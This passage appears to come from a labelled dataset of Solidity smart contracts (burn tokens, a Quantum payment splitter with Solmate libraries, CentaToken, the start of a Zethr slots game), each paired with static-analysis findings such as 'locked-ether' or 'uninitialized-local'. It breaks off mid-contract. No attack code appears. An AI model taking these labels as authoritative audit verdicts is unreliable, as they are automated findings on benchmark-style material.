uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address holder) public view returns (uint256);
function allowance(address holder, address spender) public view returns (uint256);
function transfer(address to, uint256 amount) public returns (bool success);
function approve(address spender, uint256 amount) public returns (bool success);
function transferFrom(address from, address to, uint256 amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed holder, address indexed spender, uint256 amount);
}
contract KEYS is ERC20 {
using SafeMath for uint256;
string public symbol = "KEYS";
string public name = "KEYS";
uint8 public decimals = 18;
uint256 private _totalSupply = 1000000000000000000000000;
uint256 oneHundredPercent = 100;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address holder) public view returns (uint256) {
return balances[holder];
}
function allowance(address holder, address spender) public view returns (uint256) {
return allowed[holder][spender];
}
function findOnePercent(uint256 amount) private view returns (uint256) {
uint256 roundAmount = amount.ceil(oneHundredPercent);
uint256 fivePercent = roundAmount.mul(oneHundredPercent).div(1000);
return fivePercent;
}
function transfer(address to, uint256 amount) public returns (bool success) {
require(amount <= balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findOnePercent(amount);
uint256 tokensToTransfer = amount.sub(tokensToBurn);
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function approve(address spender, uint256 amount) public returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool success) {
require(amount <= balances[from]);
require(amount <= allowed[from][msg.sender]);
require(to != address(0));
balances[from] = balances[from].sub(amount);
uint256 tokensToBurn = findOnePercent(amount);
uint256 tokensToTransfer = amount.sub(tokensToBurn);
balances[to] = balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
} | No vulnerabilities found |
pragma solidity ^0.8.11;
import "@rari-capital/solmate/src/auth/Auth.sol";
import "@rari-capital/solmate/src/utils/SafeTransferLib.sol";
contract QuantumSplitter is Auth {
/// >>>>>>>>>>>>>>>>>>>>>>> STRUCTS <<<<<<<<<<<<<<<<<<<<<<<<<< ///
struct Split {
uint256 balance;
address[] recipients;
uint256[] shares;
}
/// >>>>>>>>>>>>>>>>>>>>>>> STATE <<<<<<<<<<<<<<<<<<<<<<<<<< ///
address payable public treasury = payable(0xe0faf18f33c307Ca812B80c771ad3c9E5f043Fe9);
uint256 public treasuryShare = 2000;
mapping (uint256 => Split) public splits;
/// >>>>>>>>>>>>>>>>>>>>>>> CONSTRUCTOR <<<<<<<<<<<<<<<<<<<<<<<<<< ///
constructor(address owner, address authority) Auth(owner, Authority(authority)) {
}
/// >>>>>>>>>>>>>>>>>>>>>>> RESTRICTED <<<<<<<<<<<<<<<<<<<<<<<<<< ///
/// @notice Set a split
/// @param dropId dropId corresponding to the split
/// @dev Treasury payout is already taken in account
/// @param recipients array of recipients
/// @dev The fee denominator is 10000 in BPS.
/// @param shares array of shares
/*
Example
This would set the fee at 5%
```
setSplit(0, [0xBEEF], [500])
```
*/
function setSplit(
uint256 dropId,
address[] calldata recipients,
uint256[] calldata shares)
requiresAuth public
{
require(recipients.length == shares.length, "UNMATCHED_LENGTH");
/// @dev reads balance in case of split wasn't defined before it received eth
splits[dropId] = Split(splits[dropId].balance, recipients, shares);
}
/// @notice Sets the treasury address
/// @param treasury_ address of the treasury
function setTreasury(address payable treasury_) requiresAuth public {
treasury = treasury_;
}
/// @notice Sets the treasury's share of all splits
/// @param share share of the treasury
/// @dev The fee denominator is 10000 in BPS.
/*
Example
This would set the fee at 5%
```
setTreasuryShare(500)
```
*/
function setTreasuryShare(uint256 share) requiresAuth public {
treasuryShare = share;
}
/// @notice Withdraws all the funds held by the splitt
/// @param to recipient of funds
/// @param amount amount to withdraw
function withdraw(address payable to, uint256 amount) requiresAuth public {
SafeTransferLib.safeTransferETH(to, amount);
}
/// >>>>>>>>>>>>>>>>>>>>>>> EXTERNAL <<<<<<<<<<<<<<<<<<<<<<<<<< ///
/// @notice Deposit funds for a dropId
/// @dev split should exist beforehand
/// @param dropId dropId corresponding to the split
function deposit(uint256 dropId) public payable {
require(splits[dropId].recipients.length > 0, "INVALID_SPLIT");
splits[dropId].balance += msg.value;
}
/// @notice distribute funds of a split
function distribute(uint256 dropId) public {
Split memory split = splits[dropId];
uint256 balance = split.balance;
// initialize with Quantum's share
uint256 toSend = balance * treasuryShare / 10000;
uint256 length = split.recipients.length;
SafeTransferLib.safeTransferETH(treasury, toSend);
balance -= toSend;
split.balance -= toSend;
for(uint i; i < length; i++) {
toSend = (split.balance * split.shares[i]) / 10000;
balance -= toSend;
SafeTransferLib.safeTransferETH(split.recipients[i], toSend);
}
require(balance == 0, "INSUFFICIENT_FUNDS");
splits[dropId].balance = 0;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed input.
success := 0
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
} | These are the vulnerabilities found
1) uninitialized-local with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
Safe Math
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
/**
Create ERC20 token
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CoreFinanceV3Revamped is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Core Finance V3 Revamped";
string constant tokenSymbol = "CORV3";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000000000000000000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
/**
Allow token to be traded/sent from account to account // allow for staking and governance plug-in
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/* 1-time token mint/creation function. Tokens are only minted during contract creation, and cannot be done again.*/
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
}
/**
social experiment token
*/ | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Centareum' token contract
//
// Deployed to : 0xFa064973Ad2EF28Ce8e3a306c36CB57cBb9A1d82
// Symbol : CTM
// Name : CentaToken
// Total supply: 500000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CentaToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CentaToken() public {
symbol = "CTM";
name = "CentaToken";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xFa064973Ad2EF28Ce8e3a306c36CB57cBb9A1d82] = _totalSupply;
Transfer(address(0), 0xFa064973Ad2EF28Ce8e3a306c36CB57cBb9A1d82, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
/*
* ZETHR PRESENTS: SLOTS
*
* Written August 2018 by the Zethr team for zethr.io.
*
* Code framework written by Norsefire.
* EV calculations written by TropicalRogue.
* Audit and edits written by Klob.
* Multiroll framework written by Etherguy.
*
* Rolling Odds:
* 49.31% Lose / 50.69% Win
* 35.64% Two Matching Icons
* - 10.00% : 2.50x Multiplier [Two Rockets]
* - 15.00% : 1.33x Multiplier [Two Gold Pyramids]
* - 15.00% : 1.00x Multiplier [Two 'Z' Symbols]
* - 15.00% : 1.00x Multiplier [Two 'T' Symbols]
* - 15.00% : 1.00x Multiplier [Two 'H' Symbols]
* - 15.00% : 1.25x Multiplier [Two Purple Pyramids]
* - 15.00% : 2.00x Multiplier [Two Ether Icons]
* 6.79% One Of Each Pyramid
* - 1.50x Multiplier
* 2.94% One Moon Icon
* - 2.50x Multiplier
* 5.00% Three Matching Icons
* - 03.00% : 13.00x Multiplier [Three Rockets]
* - 05.00% : 09.00x Multiplier [Three Gold Pyramids]
* - 27.67% : 03.00x Multiplier [Three 'Z' Symbols]
* - 27.67% : 03.00x Multiplier [Three 'T' Symbols]
* - 27.67% : 03.00x Multiplier [Three 'H' Symbols]
* - 05.00% : 07.50x Multiplier [Three Purple Pyramids]
* - 04.00% : 11.00x Multiplier [Three Ether Icons]
* 0.28% Z T H Prize
* - 20x Multiplier
* 0.03% Two Moon Icons
* - 50x Multiplier
* 0.0001% Three Moon Grand Jackpot
* - Jackpot Amount (variable)
*
* From all of us at Zethr, thank you for playing!
*
*/
// Zethr Token Bankroll interface
contract ZethrTokenBankroll{
// Game request token transfer to player
function gameRequestTokens(address target, uint tokens) public;
function gameTokenAmount(address what) public returns (uint);
}
// Zether Main Bankroll interface
contract ZethrMainBankroll{
function gameGetTokenBankrollList() public view returns (address[7]);
}
// Zethr main contract interface
contract ZethrInterface{
function withdraw() public;
}
// Library for figuring out the "tier" (1-7) of a dividend rate
library ZethrTierLibrary{
function getTier(uint divRate)
internal
pure
returns (uint)
{
// Tier logic
// Returns the index of the UsedBankrollAddresses which should be used to call into to withdraw tokens
// We can divide by magnitude
// Remainder is removed so we only get the actual number we want
uint actualDiv = divRate;
if (actualDiv >= 30){
return 6;
} else if (actualDiv >= 25){
return 5;
} else if (actualDiv >= 20){
return 4;
} else if (actualDiv >= 15){
return 3;
} else if (actualDiv >= 10){
return 2;
} else if (actualDiv >= 5){
return 1;
} else if (actualDiv >= 2){
return 0;
} else{
// Impossible
revert();
}
}
}
// Contract that contains the functions to interact with the ZlotsJackpotHoldingContract
contract ZlotsJackpotHoldingContract {
function payOutWinner(address winner) public;
function getJackpot() public view returns (uint);
}
// Contract that contains the functions to interact with the bankroll system
contract ZethrBankrollBridge {
// Must have an interface with the main Zethr token contract
ZethrInterface Zethr;
// Store the bankroll addresses
// address[0] is tier1: 2-5%
// address[1] is tier2: 5-10, etc
address[7] UsedBankrollAddresses;
// Mapping for easy checking
mapping(address => bool) ValidBankrollAddress;
// Set up the tokenbankroll stuff
function setupBankrollInterface(address ZethrMainBankrollAddress)
internal
{
// Instantiate Zethr
Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D);
// Get the bankroll addresses from the main bankroll
UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList();
for(uint i=0; i<7; i++){
ValidBankrollAddress[UsedBankrollAddresses[i]] = true;
}
}
// Require a function to be called from a *token* bankroll
modifier fromBankroll() {
require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll");
_;
}
// Request a payment in tokens to a user FROM the appropriate tokenBankroll
// Figure out the right bankroll via divRate
